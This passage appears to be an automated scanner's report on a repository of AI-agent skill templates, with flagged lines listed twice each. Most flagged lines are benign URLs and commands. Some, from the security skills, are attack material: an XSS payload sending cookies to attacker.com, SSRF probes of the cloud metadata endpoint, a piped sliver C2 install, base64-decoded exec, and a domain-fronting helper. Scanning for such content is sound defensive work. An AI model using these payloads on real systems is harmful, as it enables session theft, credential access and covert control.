    provider = TracerProvider() processor = BatchSpanProcessor(OTLPSpanExporter(endpoint="http://collector:4317"))
  • Network accessline 141
    provider = TracerProvider() processor = BatchSpanProcessor(OTLPSpanExporter(endpoint="http://collector:4317"))
  • Network accessline 142
    processor = BatchSpanProcessor(OTLPSpanExporter(endpoint="http://collector:4317"))
  • Network accessline 142
    processor = BatchSpanProcessor(OTLPSpanExporter(endpoint="http://collector:4317"))

templates/skills/domains/devops/performance.md

  • Network accessline 63
    |------|------|------| | Python | cProfile / py-spy | `py-spy record -o profile.svg -- python app.py` | | Go | pprof | `go tool pprof http://localhost:6060/debug/pprof/profile` |
  • Network accessline 63
    |------|------|------| | Python | cProfile / py-spy | `py-spy record -o profile.svg -- python app.py` | | Go | pprof | `go tool pprof http://localhost:6060/debug/pprof/profile` |
  • Network accessline 64
    | Python | cProfile / py-spy | `py-spy record -o profile.svg -- python app.py` | | Go | pprof | `go tool pprof http://localhost:6060/debug/pprof/profile` | | Java | async-profiler | `./profiler.sh -d 30 -f flame.html <pid>` |
  • Network accessline 64
    | Python | cProfile / py-spy | `py-spy record -o profile.svg -- python app.py` | | Go | pprof | `go tool pprof http://localhost:6060/debug/pprof/profile` | | Java | async-profiler | `./profiler.sh -d 30 -f flame.html <pid>` |
  • Network accessline 65
    | Go | pprof | `go tool pprof http://localhost:6060/debug/pprof/profile` |
  • Network accessline 65
    | Go | pprof | `go tool pprof http://localhost:6060/debug/pprof/profile` |
  • Network accessline 79
    # Go go tool pprof http://localhost:6060/debug/pprof/heap
  • Network accessline 79
    # Go go tool pprof http://localhost:6060/debug/pprof/heap
  • Network accessline 80
    go tool pprof http://localhost:6060/debug/pprof/heap
  • Network accessline 80
    go tool pprof http://localhost:6060/debug/pprof/heap
  • Network accessline 137
    # wrk (推荐) wrk -t12 -c400 -d30s http://localhost:8080/api
  • Network accessline 137
    # wrk (推荐) wrk -t12 -c400 -d30s http://localhost:8080/api
  • Network accessline 138
    wrk -t12 -c400 -d30s http://localhost:8080/api
  • Network accessline 138
    wrk -t12 -c400 -d30s http://localhost:8080/api
  • Network accessline 140
    # ab (Apache Bench) ab -n 10000 -c 100 http://localhost:8080/api
  • Network accessline 140
    # ab (Apache Bench) ab -n 10000 -c 100 http://localhost:8080/api
  • Network accessline 141
    ab -n 10000 -c 100 http://localhost:8080/api
  • Network accessline 141
    ab -n 10000 -c 100 http://localhost:8080/api
  • Network accessline 143
    # hey hey -n 10000 -c 100 http://localhost:8080/api
  • Network accessline 143
    # hey hey -n 10000 -c 100 http://localhost:8080/api
  • Network accessline 144
    hey -n 10000 -c 100 http://localhost:8080/api
  • Network accessline 144
    hey -n 10000 -c 100 http://localhost:8080/api

templates/skills/domains/frontend-design/SKILL.md

  • Network accessline 11
    This skill guides creation of distinctive, production-grade frontend interfaces that avoid generic "AI slop" aesthetics. It fuses [Impeccable](https://github.com/pbakaus/impeccable) design philosophy with extended knowledge on state managem
  • Network accessline 11
    This skill guides creation of distinctive, production-grade frontend interfaces that avoid generic "AI slop" aesthetics. It fuses [Impeccable](https://github.com/pbakaus/impeccable) design philosophy with extended knowledge on state managem

templates/skills/domains/frontend-design/engineering.md

  • Network accessline 173
    export default defineConfig({   testDir: './e2e',   use: { baseURL: 'http://localhost:3000', trace: 'on-first-retry' },
  • Network accessline 173
    export default defineConfig({   testDir: './e2e',   use: { baseURL: 'http://localhost:3000', trace: 'on-first-retry' },
  • Network accessline 174
    testDir: './e2e',   use: { baseURL: 'http://localhost:3000', trace: 'on-first-retry' },   webServer: { command: 'npm run dev', url: 'http://localhost:3000' },
  • Network accessline 174
    testDir: './e2e',   use: { baseURL: 'http://localhost:3000', trace: 'on-first-retry' },   webServer: { command: 'npm run dev', url: 'http://localhost:3000' },
  • Network accessline 175
    use: { baseURL: 'http://localhost:3000', trace: 'on-first-retry' },
  • Network accessline 175
    use: { baseURL: 'http://localhost:3000', trace: 'on-first-retry' },
  • Network accessline 176
    webServer: { command: 'npm run dev', url: 'http://localhost:3000' },
  • Network accessline 176
    webServer: { command: 'npm run dev', url: 'http://localhost:3000' },
  • Network accessline 223
    server: {     port: 3000,     proxy: { '/api': { target: 'http://localhost:8080', changeOrigin: true } },
  • Network accessline 223
    server: {     port: 3000,     proxy: { '/api': { target: 'http://localhost:8080', changeOrigin: true } },
  • Network accessline 224
    port: 3000,     proxy: { '/api': { target: 'http://localhost:8080', changeOrigin: true } },   },
  • Network accessline 224
    port: 3000,     proxy: { '/api': { target: 'http://localhost:8080', changeOrigin: true } },   },
  • Network accessline 225
    proxy: { '/api': { target: 'http://localhost:8080', changeOrigin: true } },
  • Network accessline 225
    proxy: { '/api': { target: 'http://localhost:8080', changeOrigin: true } },

templates/skills/domains/frontend-design/reference/color-and-contrast.md

  • Network accessline 93
    - [WebAIM Contrast Checker](https://webaim.org/resources/contrastchecker/)
  • Network accessline 93
    - [WebAIM Contrast Checker](https://webaim.org/resources/contrastchecker/)
  • Network accessline 95
    - [Polypane](https://polypane.app/) for real-time testing
  • Network accessline 95
    - [Polypane](https://polypane.app/) for real-time testing

templates/skills/domains/frontend-design/reference/typography.md

  • Network accessline 83
    Tools like [Fontaine](https://github.com/unjs/fontaine) calculate these overrides automatically.
  • Network accessline 83
    Tools like [Fontaine](https://github.com/unjs/fontaine) calculate these overrides automatically.
  • Network accessline 116
    Check what features your font supports at [Wakamai Fondue](https://wakamaifondue.com/).
  • Network accessline 116
    Check what features your font supports at [Wakamai Fondue](https://wakamaifondue.com/).

templates/skills/domains/frontend-design/state-management.md

  • Network accessline 113
    'user/fetchUser',   async (userId: string) => {     const response = await fetch(`/api/users/${userId}`)
  • Network accessline 113
    'user/fetchUser',   async (userId: string) => {     const response = await fetch(`/api/users/${userId}`)
  • Network accessline 114
    async (userId: string) => {     const response = await fetch(`/api/users/${userId}`)     return (await response.json()) as User
  • Network accessline 114
    async (userId: string) => {     const response = await fetch(`/api/users/${userId}`)     return (await response.json()) as User
  • Network accessline 115
    const response = await fetch(`/api/users/${userId}`)
  • Network accessline 115
    const response = await fetch(`/api/users/${userId}`)
  • Network accessline 221
    set({ loading: true })     try {       const res = await fetch(`/api/users/${id}`)
  • Network accessline 221
    set({ loading: true })     try {       const res = await fetch(`/api/users/${id}`)
  • Network accessline 222
    try {       const res = await fetch(`/api/users/${id}`)       const user = await res.json()
  • Network accessline 222
    try {       const res = await fetch(`/api/users/${id}`)       const user = await res.json()
  • Network accessline 223
    const res = await fetch(`/api/users/${id}`)
  • Network accessline 223
    const res = await fetch(`/api/users/${id}`)
  • Network accessline 309
    export const userAtom = atom(async (get) => {   const userId = get(userIdAtom)   const response = await fetch(`/api/users/${userId}`)
  • Network accessline 309
    export const userAtom = atom(async (get) => {   const userId = get(userIdAtom)   const response = await fetch(`/api/users/${userId}`)
  • Network accessline 310
    const userId = get(userIdAtom)   const response = await fetch(`/api/users/${userId}`)   return response.json()
  • Network accessline 310
    const userId = get(userIdAtom)   const response = await fetch(`/api/users/${userId}`)   return response.json()
  • Network accessline 311
    const response = await fetch(`/api/users/${userId}`)
  • Network accessline 311
    const response = await fetch(`/api/users/${userId}`)
  • Network accessline 420
    get: async ({ get }) => {     const userId = get(userIdState)     const response = await fetch(`/api/users/${userId}`)
  • Network accessline 420
    get: async ({ get }) => {     const userId = get(userIdState)     const response = await fetch(`/api/users/${userId}`)
  • Network accessline 421
    const userId = get(userIdState)     const response = await fetch(`/api/users/${userId}`)     return response.json()
  • Network accessline 421
    const userId = get(userIdState)     const response = await fetch(`/api/users/${userId}`)     return response.json()
  • Network accessline 422
    const response = await fetch(`/api/users/${userId}`)
  • Network accessline 422
    const response = await fetch(`/api/users/${userId}`)
  • Network accessline 658
    fetchData: async () => {     try {       const data = await api.fetch()
  • Network accessline 658
    fetchData: async () => {     try {       const data = await api.fetch()
  • Network accessline 659
    try {       const data = await api.fetch()       set({ data, error: null })
  • Network accessline 659
    try {       const data = await api.fetch()       set({ data, error: null })
  • Network accessline 660
    const data = await api.fetch()
  • Network accessline 660
    const data = await api.fetch()

templates/skills/domains/mobile/SKILL.md

  • Access to secretsline 72
    [Credential-related source omitted]
  • Access to secretsline 72
    [Credential-related source omitted]
  • Access to secretsline 84
    [Credential-related source omitted]
  • Access to secretsline 84
    [Credential-related source omitted]

templates/skills/domains/security/blue-team.md

  • Network accessline 26
    description: Detects Mimikatz credential dumping via LSASS access references:     - https://attack.mitre.org/techniques/T1003/001/
  • Network accessline 26
    description: Detects Mimikatz credential dumping via LSASS access references:     - https://attack.mitre.org/techniques/T1003/001/
  • Network accessline 27
    references:     - https://attack.mitre.org/techniques/T1003/001/ tags:
  • Network accessline 27
    references:     - https://attack.mitre.org/techniques/T1003/001/ tags:
  • Network accessline 28
    - https://attack.mitre.org/techniques/T1003/001/
  • Network accessline 28
    - https://attack.mitre.org/techniques/T1003/001/
  • Access to secretsline 417
    [Credential-related source omitted]
  • Access to secretsline 417
    [Credential-related source omitted]

templates/skills/domains/security/code-audit.md

  • Dangerous shell operationline 43
    eval(user_input)
  • Dangerous shell operationline 43
    eval(user_input)
  • Dangerous shell operationline 44
    exec(user_input)
  • Dangerous shell operationline 44
    exec(user_input)
  • Network accessline 59
    # 🔴 SSRF requests.get(user_url)
  • Network accessline 59
    # 🔴 SSRF requests.get(user_url)
  • Network accessline 60
    requests.get(user_url)
  • Network accessline 60
    requests.get(user_url)
  • Network accessline 61
    urllib.request.urlopen(user_url)
  • Network accessline 61
    urllib.request.urlopen(user_url)
  • Dangerous shell operationline 99
    eval(userInput);
  • Dangerous shell operationline 99
    eval(userInput);
  • Access to secretsline 161
    [Credential-related source omitted]
  • Access to secretsline 161
    [Credential-related source omitted]

templates/skills/domains/security/pentest.md

  • Network accessline 44
    | A08 数据完整性 | 反序列化 | 恶意对象 | | A09 日志不足 | 敏感信息泄露 | 错误信息 | | A10 SSRF | 内网探测 | `http://127.0.0.1` |
  • Network accessline 44
    | A08 数据完整性 | 反序列化 | 恶意对象 | | A09 日志不足 | 敏感信息泄露 | 错误信息 | | A10 SSRF | 内网探测 | `http://127.0.0.1` |
  • Network accessline 46
    | A10 SSRF | 内网探测 | `http://127.0.0.1` |
  • Network accessline 46
    | A10 SSRF | 内网探测 | `http://127.0.0.1` |
  • Network accessline 54
    <svg/onload=alert(1)> javascript:alert(1) <img src=x onerror="fetch('http://attacker.com/?c='+document.cookie)">
  • Network accessline 54
    <svg/onload=alert(1)> javascript:alert(1) <img src=x onerror="fetch('http://attacker.com/?c='+document.cookie)">
  • Network accessline 56
    <img src=x onerror="fetch('http://attacker.com/?c='+document.cookie)">
  • Network accessline 56
    <img src=x onerror="fetch('http://attacker.com/?c='+document.cookie)">
  • Network accessline 73
    http://127.0.0.1:80
  • Network accessline 73
    http://127.0.0.1:80
  • Network accessline 74
    http://169.254.169.254/latest/meta-data/
  • Network accessline 74
    http://169.254.169.254/latest/meta-data/
  • Network accessline 109
    for other_id in [1, 2, 99, 101, 999]:         resp = requests.get(f"{base_url}/api/users/{other_id}", headers=headers)
  • Network accessline 109
    for other_id in [1, 2, 99, 101, 999]:         resp = requests.get(f"{base_url}/api/users/{other_id}", headers=headers)
  • Network accessline 110
    resp = requests.get(f"{base_url}/api/users/{other_id}", headers=headers)
  • Network accessline 110
    resp = requests.get(f"{base_url}/api/users/{other_id}", headers=headers)
  • Access to secretsline 157
    [Credential-related source omitted]
  • Access to secretsline 157
    [Credential-related source omitted]

templates/skills/domains/security/red-team.md

  • Network accessline 31
    def __init__(self, target: str):         self.target = target.rstrip('/')         self.session = requests.Session()
  • Network accessline 31
    def __init__(self, target: str):         self.target = target.rstrip('/')         self.session = requests.Session()
  • Network accessline 32
    self.target = target.rstrip('/')         self.session = requests.Session()         self.session.headers = {
  • Network accessline 32
    self.target = target.rstrip('/')         self.session = requests.Session()         self.session.headers = {
  • Network accessline 33
    self.session = requests.Session()
  • Network accessline 33
    self.session = requests.Session()
  • Network accessline 71
    # 安装 curl https://sliver.sh/install | sudo bash
  • Network accessline 71
    # 安装 curl https://sliver.sh/install | sudo bash
  • Dangerous shell operationline 72
    curl https://sliver.sh/install | sudo bash
  • Dangerous shell operationline 72
    curl https://sliver.sh/install | sudo bash
  • Network accessline 72
    curl https://sliver.sh/install | sudo bash
  • Network accessline 72
    curl https://sliver.sh/install | sudo bash
  • Possible obfuscationline 125
    output = base64.b64decode(request.json['output']).decode()
  • Possible obfuscationline 125
    output = base64.b64decode(request.json['output']).decode()
  • Dangerous shell operationline 213
    sudo -l
  • Dangerous shell operationline 213
    sudo -l
  • Dangerous shell operationline 218
    - sudo 配置错误 → sudo提权
  • Dangerous shell operationline 218
    - sudo 配置错误 → sudo提权
  • Network accessline 223
    # SUID 利用 find / -perm -4000 2>/dev/null # 查 GTFOBins: https://gtfobins.github.io/
  • Network accessline 223
    # SUID 利用 find / -perm -4000 2>/dev/null # 查 GTFOBins: https://gtfobins.github.io/
  • Network accessline 225
    # 查 GTFOBins: https://gtfobins.github.io/
  • Network accessline 225
    # 查 GTFOBins: https://gtfobins.github.io/
  • Dangerous shell operationline 235
    exec(base64.b64decode(payload))
  • Dangerous shell operationline 235
    exec(base64.b64decode(payload))
  • Possible obfuscationline 235
    exec(base64.b64decode(payload))
  • Possible obfuscationline 235
    exec(base64.b64decode(payload))
  • Network accessline 269
    def domain_fronting(real_host, cdn_domain, data):     headers = {"Host": real_host}     requests.post(f"https://{cdn_domain}/api", json=data, headers=headers)
  • Network accessline 269
    def domain_fronting(real_host, cdn_domain, data):     headers = {"Host": real_host}     requests.post(f"https://{cdn_domain}/api", json=data, headers=headers)
  • Network accessline 271
    requests.post(f"https://{cdn_domain}/api", json=data, headers=headers)
  • Network accessline 271
    requests.post(f"https://{cdn_domain}/api", json=data, headers=headers)
  • Access to secretsline 297
    [Credential-related source omitted]
  • Access to secretsline 297
    [Credential-related source omitted]

templates/skills/domains/security/threat-intel.md

  • Network accessline 49
    IP/域名信誉:   - VirusTotal: https://www.virustotal.com
  • Network accessline 49
    IP/域名信誉:   - VirusTotal: https://www.virustotal.com
  • Network accessline 50
    - VirusTotal: https://www.virustotal.com
  • Network accessline 50
    - VirusTotal: https://www.virustotal.com
  • Network accessline 51
    - AbuseIPDB: https://www.abuseipdb.com
  • Network accessline 51
    - AbuseIPDB: https://www.abuseipdb.com
  • Network accessline 52
    - Shodan: https://www.shodan.io
  • Network accessline 52
    - Shodan: https://www.shodan.io
  • Network accessline 53
    - Censys: https://search.censys.io
  • Network accessline 53
    - Censys: https://search.censys.io
  • Network accessline 54
    - GreyNoise: https://www.greynoise.io
  • Network accessline 54
    - GreyNoise: https://www.greynoise.io
  • Network accessline 56
    恶意软件分析:   - Any.Run: https://any.run
  • Network accessline 56
    恶意软件分析:   - Any.Run: https://any.run
  • Network accessline 57
    - Any.Run: https://any.run
  • Network accessline 57
    - Any.Run: https://any.run
  • Network accessline 58
    - Hybrid Analysis: https://www.hybrid-analysis.com
  • Network accessline 58
    - Hybrid Analysis: https://www.hybrid-analysis.com
  • Network accessline 59
    - Joe Sandbox: https://www.joesandbox.com
  • Network accessline 59
    - Joe Sandbox: https://www.joesandbox.com
  • Network accessline 60
    - MalwareBazaar: https://bazaar.abuse.ch
  • Network accessline 60
    - MalwareBazaar: https://bazaar.abuse.ch
  • Network accessline 62
    威胁情报:   - AlienVault OTX: https://otx.alienvault.com
  • Network accessline 62
    威胁情报:   - AlienVault OTX: https://otx.alienvault.com
  • Network accessline 63
    - AlienVault OTX: https://otx.alienvault.com
  • Network accessline 63
    - AlienVault OTX: https://otx.alienvault.com
  • Network accessline 64
    - MISP: https://www.misp-project.org
  • Network accessline 64
    - MISP: https://www.misp-project.org
  • Network accessline 65
    - ThreatFox: https://threatfox.abuse.ch
  • Network accessline 65
    - ThreatFox: https://threatfox.abuse.ch
  • Access to secretsline 97
    [Credential-related source omitted]
  • Access to secretsline 97
    [Credential-related source omitted]
  • Access to secretsline 148
    [Credential-related source omitted]
  • Access to secretsline 148
    [Credential-related source omitted]
  • Access to secretsline 149
    [Credential-related source omitted]
  • Access to secretsline 149
    [Credential-related source omitted]
  • Network accessline 151
    def check_hash(self, file_hash):         """VirusTotal Hash 查询"""         url = f"https://www.virustotal.com/api/v3/files/{file_hash}"
  • Network accessline 151
    def check_hash(self, file_hash):         """VirusTotal Hash 查询"""         url = f"https://www.virustotal.com/api/v3/files/{file_hash}"
  • Network accessline 152
    [Credential-related source omitted]
  • Network accessline 152
    [Credential-related source omitted]
  • Network accessline 153
    [Credential-related source omitted]
  • Network accessline 153
    [Credential-related source omitted]
  • Network accessline 154
    [Credential-related source omitted]
  • Network accessline 154
    [Credential-related source omitted]
  • Network accessline 155
    resp = requests.get(url, headers=headers)
  • Network accessline 155
    resp = requests.get(url, headers=headers)
  • Network accessline 166
    def check_ip(self, ip):         """AbuseIPDB 查询"""         url = "https://api.abuseipdb.com/api/v2/check"
  • Network accessline 166
    def check_ip(self, ip):         """AbuseIPDB 查询"""         url = "https://api.abuseipdb.com/api/v2/check"
  • Network accessline 167
    """AbuseIPDB 查询"""         url = "https://api.abuseipdb.com/api/v2/check"         params = {"ipAddress": ip, "maxAgeInDays": 90}
  • Network accessline 167
    """AbuseIPDB 查询"""         url = "https://api.abuseipdb.com/api/v2/check"         params = {"ipAddress": ip, "maxAgeInDays": 90}
  • Network accessline 168
    url = "https://api.abuseipdb.com/api/v2/check"
  • Network accessline 168
    url = "https://api.abuseipdb.com/api/v2/check"

templates/skills/run_skill.js

  • Executable scriptline 1
    #!/usr/bin/env node
  • Executable scriptline 1
    #!/usr/bin/env node

templates/skills/scrapling/SKILL.md

  • Broad permissionsline 1
    Read, Bash
  • Broad permissionsline 1
    Read, Bash

templates/skills/scrapling/references/api-quick-ref.md

  • Network accessline 33
    page = StealthyFetcher.fetch(
  • Network accessline 33
    page = StealthyFetcher.fetch(
  • Network accessline 54
    page = DynamicFetcher.fetch(
  • Network accessline 54
    page = DynamicFetcher.fetch(
  • Network accessline 73
    page = Selector(html_string, url='https://base-url.com')
  • Network accessline 73
    page = Selector(html_string, url='https://base-url.com')

templates/skills/scrapling/references/cookie-vault.md

  • Access to secretsline 14
    [Credential-related source omitted]
  • Access to secretsline 14
    [Credential-related source omitted]
  • Access to secretsline 22
    [Credential-related source omitted]
  • Access to secretsline 22
    [Credential-related source omitted]

templates/skills/scrapling/references/maintenance.md

  • Network accessline 63
    # 1. Fetcher (curl_cffi) from scrapling.fetchers import Fetcher page = Fetcher.get("https://httpbin.org/get", impersonate='chrome', timeout=15)
  • Network accessline 63
    # 1. Fetcher (curl_cffi) from scrapling.fetchers import Fetcher page = Fetcher.get("https://httpbin.org/get", impersonate='chrome', timeout=15)
  • Network accessline 64
    from scrapling.fetchers import Fetcher page = Fetcher.get("https://httpbin.org/get", impersonate='chrome', timeout=15) print(f"Fetcher: status={page.status}")
  • Network accessline 64
    from scrapling.fetchers import Fetcher page = Fetcher.get("https://httpbin.org/get", impersonate='chrome', timeout=15) print(f"Fetcher: status={page.status}")
  • Network accessline 65
    page = Fetcher.get("https://httpbin.org/get", impersonate='chrome', timeout=15)
  • Network accessline 65
    page = Fetcher.get("https://httpbin.org/get", impersonate='chrome', timeout=15)
  • Network accessline 68
    # 2. StealthyFetcher (Camoufox) from scrapling.fetchers import StealthyFetcher page = StealthyFetcher.fetch("https://httpbin.org/get", headless=True, timeout=30000)
  • Network accessline 68
    # 2. StealthyFetcher (Camoufox) from scrapling.fetchers import StealthyFetcher page = StealthyFetcher.fetch("https://httpbin.org/get", headless=True, timeout=30000)
  • Network accessline 69
    from scrapling.fetchers import StealthyFetcher page = StealthyFetcher.fetch("https://httpbin.org/get", headless=True, timeout=30000) print(f"StealthyFetcher: status={page.status}")
  • Network accessline 69
    from scrapling.fetchers import StealthyFetcher page = StealthyFetcher.fetch("https://httpbin.org/get", headless=True, timeout=30000) print(f"StealthyFetcher: status={page.status}")
  • Network accessline 70
    page = StealthyFetcher.fetch("https://httpbin.org/get", headless=True, timeout=30000)
  • Network accessline 70
    page = StealthyFetcher.fetch("https://httpbin.org/get", headless=True, timeout=30000)
  • Network accessline 73
    # 3. DynamicFetcher (Playwright) from scrapling.fetchers import DynamicFetcher page = DynamicFetcher.fetch("https://httpbin.org/get", headless=True, timeout=30000)
  • Network accessline 73
    # 3. DynamicFetcher (Playwright) from scrapling.fetchers import DynamicFetcher page = DynamicFetcher.fetch("https://httpbin.org/get", headless=True, timeout=30000)
  • Network accessline 74
    from scrapling.fetchers import DynamicFetcher page = DynamicFetcher.fetch("https://httpbin.org/get", headless=True, timeout=30000) print(f"DynamicFetcher: status={page.status}")
  • Network accessline 74
    from scrapling.fetchers import DynamicFetcher page = DynamicFetcher.fetch("https://httpbin.org/get", headless=True, timeout=30000) print(f"DynamicFetcher: status={page.status}")
  • Network accessline 75
    page = DynamicFetcher.fetch("https://httpbin.org/get", headless=True, timeout=30000)
  • Network accessline 75
    page = DynamicFetcher.fetch("https://httpbin.org/get", headless=True, timeout=30000)

templates/skills/scrapling/references/site-patterns.md

  • Network accessline 58
    **站点特征**: React SPA + 企业登录态 + 分页懒加载("展开更多"按钮) **推荐方案**: Playwright 直接控制(非 scrapling Fetcher) **原因**: DynamicFetcher 可渲染首屏但无法点击交互;scrapling Fetcher 调 API 时 `page.text` 始终为空;curl 可达 API 但返回 500(需浏览器环境的 CSRF 校验)
  • Network accessline 58
    **站点特征**: React SPA + 企业登录态 + 分页懒加载("展开更多"按钮) **推荐方案**: Playwright 直接控制(非 scrapling Fetcher) **原因**: DynamicFetcher 可渲染首屏但无法点击交互;scrapling Fetcher 调 API 时 `page.text` 始终为空;curl 可达 API 但返回 500(需浏览器环境的 CSRF 校验)
  • Network accessline 59
    **推荐方案**: Playwright 直接控制(非 scrapling Fetcher) **原因**: DynamicFetcher 可渲染首屏但无法点击交互;scrapling Fetcher 调 API 时 `page.text` 始终为空;curl 可达 API 但返回 500(需浏览器环境的 CSRF 校验) **关键流程**:
  • Network accessline 59
    **推荐方案**: Playwright 直接控制(非 scrapling Fetcher) **原因**: DynamicFetcher 可渲染首屏但无法点击交互;scrapling Fetcher 调 API 时 `page.text` 始终为空;curl 可达 API 但返回 500(需浏览器环境的 CSRF 校验) **关键流程**:
  • Network accessline 60
    **原因**: DynamicFetcher 可渲染首屏但无法点击交互;scrapling Fetcher 调 API 时 `page.text` 始终为空;curl 可达 API 但返回 500(需浏览器环境的 CSRF 校验)
  • Network accessline 60
    **原因**: DynamicFetcher 可渲染首屏但无法点击交互;scrapling Fetcher 调 API 时 `page.text` 始终为空;curl 可达 API 但返回 500(需浏览器环境的 CSRF 校验)
  • Network accessline 67
    **CSRF**: cookie `dsc-token` 的值需作为 `DSC-TOKEN` header 发送(由 axios interceptor 自动添加) **已知限制**: scrapling Fetcher 对 TAPD API 返回空响应(`page.text` 为空),需用 Playwright 或 curl **数据结构**: 文本按行排列,类型前缀(P/E/PROGRAM/TEST/BUG) → 标题 → 状态 → 优先级 → ...
  • Network accessline 67
    **CSRF**: cookie `dsc-token` 的值需作为 `DSC-TOKEN` header 发送(由 axios interceptor 自动添加) **已知限制**: scrapling Fetcher 对 TAPD API 返回空响应(`page.text` 为空),需用 Playwright 或 curl **数据结构**: 文本按行排列,类型前缀(P/E/PROGRAM/TEST/BUG) → 标题 → 状态 → 优先级 → ...

templates/skills/scrapling/references/troubleshooting.md

  • Network accessline 18
    from scrapling.fetchers import StealthyFetcher page = StealthyFetcher.fetch(url, headless=True, solve_cloudflare=True, timeout=60000)
  • Network accessline 18
    from scrapling.fetchers import StealthyFetcher page = StealthyFetcher.fetch(url, headless=True, solve_cloudflare=True, timeout=60000)
  • Network accessline 19
    page = StealthyFetcher.fetch(url, headless=True, solve_cloudflare=True, timeout=60000)
  • Network accessline 19
    page = StealthyFetcher.fetch(url, headless=True, solve_cloudflare=True, timeout=60000)
  • Network accessline 58
    page = StealthyFetcher.fetch(
  • Network accessline 58
    page = StealthyFetcher.fetch(

templates/skills/scrapling/templates/basic_fetch.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Executable scriptline 1
    #!/usr/bin/env python3

templates/skills/scrapling/templates/parse_only.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Executable scriptline 1
    #!/usr/bin/env python3

templates/skills/scrapling/templates/session_login.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Executable scriptline 1
    #!/usr/bin/env python3
  • Network accessline 8
    [Credential-related source omitted]
  • Network accessline 8
    [Credential-related source omitted]
  • Network accessline 10
    TARGET_URLS = {{TARGET_URLS}}  # ['https://site.com/page1', ...]
  • Network accessline 10
    TARGET_URLS = {{TARGET_URLS}}  # ['https://site.com/page1', ...]

templates/skills/scrapling/templates/stealth_cloudflare.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Executable scriptline 1
    #!/usr/bin/env python3
  • Network accessline 12
    page = StealthyFetcher.fetch(
  • Network accessline 12
    page = StealthyFetcher.fetch(

templates/skills/seo-page-builder/SKILL.md

  • Broad permissionsline 1
    Read, Write, Edit, Glob, Grep, Bash, WebFetch
  • Broad permissionsline 1
    Read, Write, Edit, Glob, Grep, Bash, WebFetch

templates/skills/seo-page-builder/references/firecrawl-workflow.md

  • Access to secretsline 11
    [Credential-related source omitted]
  • Access to secretsline 11
    [Credential-related source omitted]
  • Access to secretsline 94
    [Credential-related source omitted]
  • Access to secretsline 94
    [Credential-related source omitted]

templates/skills/seo-page-builder/references/seo-source-library.md

  • Network accessline 11
    | 资料 | 地址 | 用途 | |---|---|---| | Helpful, reliable, people-first content | `https://developers.google.com/search/docs/fundamentals/creating-helpful-content` | 校准信息价值、E-E-A-T、Who/How/Why、AI/自动化披露、搜索引擎优先内容风险 |
  • Network accessline 11
    | 资料 | 地址 | 用途 | |---|---|---| | Helpful, reliable, people-first content | `https://developers.google.com/search/docs/fundamentals/creating-helpful-content` | 校准信息价值、E-E-A-T、Who/How/Why、AI/自动化披露、搜索引擎优先内容风险 |
  • Network accessline 12
    |---|---|---| | Helpful, reliable, people-first content | `https://developers.google.com/search/docs/fundamentals/creating-helpful-content` | 校准信息价值、E-E-A-T、Who/How/Why、AI/自动化披露、搜索引擎优先内容风险 | | Spam policies | `https://developers.google.com/
  • Network accessline 12
    |---|---|---| | Helpful, reliable, people-first content | `https://developers.google.com/search/docs/fundamentals/creating-helpful-content` | 校准信息价值、E-E-A-T、Who/How/Why、AI/自动化披露、搜索引擎优先内容风险 | | Spam policies | `https://developers.google.com/
  • Network accessline 13
    | Helpful, reliable, people-first content | `https://developers.google.com/search/docs/fundamentals/creating-helpful-content` | 校准信息价值、E-E-A-T、Who/How/Why、AI/自动化披露、搜索引擎优先内容风险 |
  • Network accessline 13
    | Helpful, reliable, people-first content | `https://developers.google.com/search/docs/fundamentals/creating-helpful-content` | 校准信息价值、E-E-A-T、Who/How/Why、AI/自动化披露、搜索引擎优先内容风险 |
  • Network accessline 14
    | Spam policies | `https://developers.google.com/search/docs/essentials/spam-policies` | 检查 scaled content、doorway、scraping abuse、misleading functionality、keyword stuffing、link spam |
  • Network accessline 14
    | Spam policies | `https://developers.google.com/search/docs/essentials/spam-policies` | 检查 scaled content、doorway、scraping abuse、misleading functionality、keyword stuffing、link spam |
  • Network accessline 15
    | SEO Starter Guide | `https://developers.google.com/search/docs/fundamentals/seo-starter-guide` | 校准标题、meta、URL、图片、重复内容、可索引性、无固定字数等基础规则 |
  • Network accessline 15
    | SEO Starter Guide | `https://developers.google.com/search/docs/fundamentals/seo-starter-guide` | 校准标题、meta、URL、图片、重复内容、可索引性、无固定字数等基础规则 |
  • Network accessline 16
    | Developer SEO guide | `https://developers.google.com/search/docs/fundamentals/get-started-developers` | 检查 Googlebot 可见性、JS 渲染、可抓取链接、站点地图、标题和 meta |
  • Network accessline 16
    | Developer SEO guide | `https://developers.google.com/search/docs/fundamentals/get-started-developers` | 检查 Googlebot 可见性、JS 渲染、可抓取链接、站点地图、标题和 meta |
  • Network accessline 17
    | Core updates | `https://developers.google.com/search/updates/core-updates` | 解释 core update 后的内容评估、恢复周期和不要做 quick fix 的原则 |
  • Network accessline 17
    | Core updates | `https://developers.google.com/search/updates/core-updates` | 解释 core update 后的内容评估、恢复周期和不要做 quick fix 的原则 |
  • Network accessline 18
    | Spam updates | `https://developers.google.com/search/updates/spam-updates` | 判断排名变化是否可能来自 spam 系统,并回查 spam policies |
  • Network accessline 18
    | Spam updates | `https://developers.google.com/search/updates/spam-updates` | 判断排名变化是否可能来自 spam 系统,并回查 spam policies |
  • Network accessline 19
    | Search Status Dashboard | `https://status.search.google.com/products/rGHU1u87FJnkP6W2GwMi/history` | 核对最近 ranking update 的真实日期,避免用过期解读做判断 |
  • Network accessline 19
    | Search Status Dashboard | `https://status.search.google.com/products/rGHU1u87FJnkP6W2GwMi/history` | 核对最近 ranking update 的真实日期,避免用过期解读做判断 |
  • Network accessline 23
    | 资料 | 地址 | 用途 | |---|---|---| | Backlinko On-Page SEO | `https://backlinko.com/on-page-seo` | 校准 title/meta、信息增量、搜索意图、自然关键词、内链、图片 alt、LLM-friendly formatting |
  • Network accessline 23
    | 资料 | 地址 | 用途 | |---|---|---| | Backlinko On-Page SEO | `https://backlinko.com/on-page-seo` | 校准 title/meta、信息增量、搜索意图、自然关键词、内链、图片 alt、LLM-friendly formatting |
  • Network accessline 24
    |---|---|---| | Backlinko On-Page SEO | `https://backlinko.com/on-page-seo` | 校准 title/meta、信息增量、搜索意图、自然关键词、内链、图片 alt、LLM-friendly formatting | | Backlinko Internal Links | `https://backlinko.com/hub/seo/internal-links/` | 校准内链数量、锚文本自然性、从高权
  • Network accessline 24
